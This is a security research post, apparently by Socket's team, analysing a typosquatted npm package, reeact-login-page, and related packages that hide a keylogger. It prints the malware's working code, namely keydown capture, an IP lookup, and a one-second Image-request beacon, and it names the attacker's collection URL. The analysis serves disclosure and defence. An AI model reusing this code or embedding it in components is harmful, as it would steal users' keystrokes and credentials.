Malicious npm Package Typosquats react-login-page to Deploy Keylogger

Let’s say you’re trying to build a quick React app, excited to add a sleek login page to make it functional and ship your MVP as soon as possible. Scrolling through npm, you find a package that says it includes react login pages, which can be used quickly after installation. It looks pretty good, has a nice readme file, the examples look straightforward, and the installation process is simple. You quickly integrate it into your project, thrilled at how easy it is to set up.

Unfortunately, underneath this convincing exterior is malicious code designed to capture keystrokes and exfiltrate sensitive data to a remote server controlled by the attacker. You might not notice this malicious activity until the damage is already done, as the package appears legitimate and functions as expected initially.

The Socket Research team has analyzed a package that functions exactly in this way. The reeact-login-page package is a typosquatting attack that Socket flagged as malware due to the presence of a keylogger and unauthorized data exfiltration. After examining more packages from this author, it appears this is not the only one that deploys a keylogger. Let’s break down the threat.

Typosquatting the react-login-page Package#

The readme file for reeact-login-page is a copy of the legitimate react-login-page package. It displays the same logo and download counts at the top of the page in an attempt to add credibility. It also shows some examples and includes the same installation and usage instructions as the legitimate package.

Key Snippets of Malicious Activity#

The malicious code has a sophisticated method of capturing keystrokes and sending sensitive data discreetly, making it challenging to notice until it's too late.

1. Capturing Keystrokes

This code snippet captures keystrokes and stores them along with the custom property in the keys string:

useEffect(() => {

    function handleKeyCustomProperty(e) {

        keys += `${e.key},${customProperty};`;

    }

    document.addEventListener('keydown', handleKeyCustomProperty);

    return () => {

        document.removeEventListener('keydown', handleKeyCustomProperty);

    };

}, []);

useEffect Hook: Sets up an event listener for the keydown event.

Event Handler: Appends each key pressed and a custom property (IP address) to the keys string.

Cleanup: Removes the event listener when the component unmounts to prevent memory leaks.

1. Fetching the Custom Property (IP Address)

This snippet fetches the IP address from an external URL and stores it in customProperty:

let customProperty = '';

function getCustomProperty() {
  return _asyncToGenerator(function* () {
    yield fetch(customUrl)
      .then((response) => response.json())
      .then((data) => {
        customProperty = data.ip;
      });
  })();
}

getCustomProperty();

getCustomProperty Function: Uses fetch to request the user's IP address from http://api.ipify.org/?format=json.

Storing the IP Address: The IP address is stored in the customProperty variable for later use.

1. Sending Data Periodically

This snippet sends the accumulated keystrokes and custom property to a remote server every second:

useEffect(() => {
  const interval = setInterval(() => {
    if (keys.length > 0) {
      new Image().src = `${url}${keys}`;
      keys = '';
    }
  }, 1000);

  return () => clearInterval(interval);
}, [keys]);

useEffect Hook: Sets up a setInterval function that runs every 1000 milliseconds (1 second).

Data Transmission: If the keys string contains data, it sends the data as a query parameter to a URL by creating a new image request. This method is often used to bypass cross-origin restrictions (CORS).

Resetting keys: Clears the keys string after sending the data.

Cleanup: Clears the interval when the component unmounts.

Variables in 'commonVars.d.ts’

The variables for the URLs and custom properties in the malicious package 'react-login-page' were set in a separate file named 'commonVars.d.ts'. This separation of concerns can make it harder to detect malicious behavior, as the main code file may not contain explicit references to sensitive data or endpoints.

Summary of Data Sent:

• Keystrokes: The keys pressed by the user.
• Custom Property: The IP address fetched from the customUrl.

The data is formatted and sent as a query parameter in an image request to avoid CORS issues. This method is often used for tracking purposes:

new Image().src = `${url}${keys}`;

This line constructs a URL by appending the accumulated keys string (which includes keystrokes and the IP address) to the base URL and sends it as an image request.

Impact

The malicious package captures:

Keystrokes: Every key pressed by the user is logged.

IP Addresses: Fetched from an external service and included in the logged data.

This information is then sent to https://adlinczewska.pl/beaut-login/keylog.php?c= every second, making it a significant security risk for any application using this package.

A Collection of Malicious npm Packages Typosquatting React UI Components#

The author of this particular package (lolapalooza) has a entire collection of similarly named typosquats for this library and others. There are currently 16 packages attributed to this author on npm.

Most of the author's packages are typosquatting React login page functionality (react-1ogin-page, @reect-login-page/base, etc.)There are others like the sty1ed-react-modal package which typosquats the legitimate styled-react-modal that receives 15K weekly downloads. This package also includes a keylogger.

The important lesson here is if you're looking for React UI components, make sure you're not just glancing at the readme page to determine if it's a safe package to use. Carefully examine the package name/identifier as well as the author's previous work.

We have flagged these threats as malware and alerted the registry to remove the packages, but threat actors are constantly using npm to distribute these types of low-effort snares.

The easiest way to improve how you're vetting packages from npm is to install Socket's free GitHub app. Whenever a new dependency is added in a pull request, Socket analyzes the package's behavior and will flag anything malicious so that keyloggers like this and other malware never touch your codebase.

IOC

URLs:

• hxxps://adlinczewska.pl/beaut-login/keylog.php?c=
• hxxp://api.ipify.org/?format=json

Socket Research Team

• Dhanesh Dodia
• Sambarathi Sai
• Dwijay Chintakunta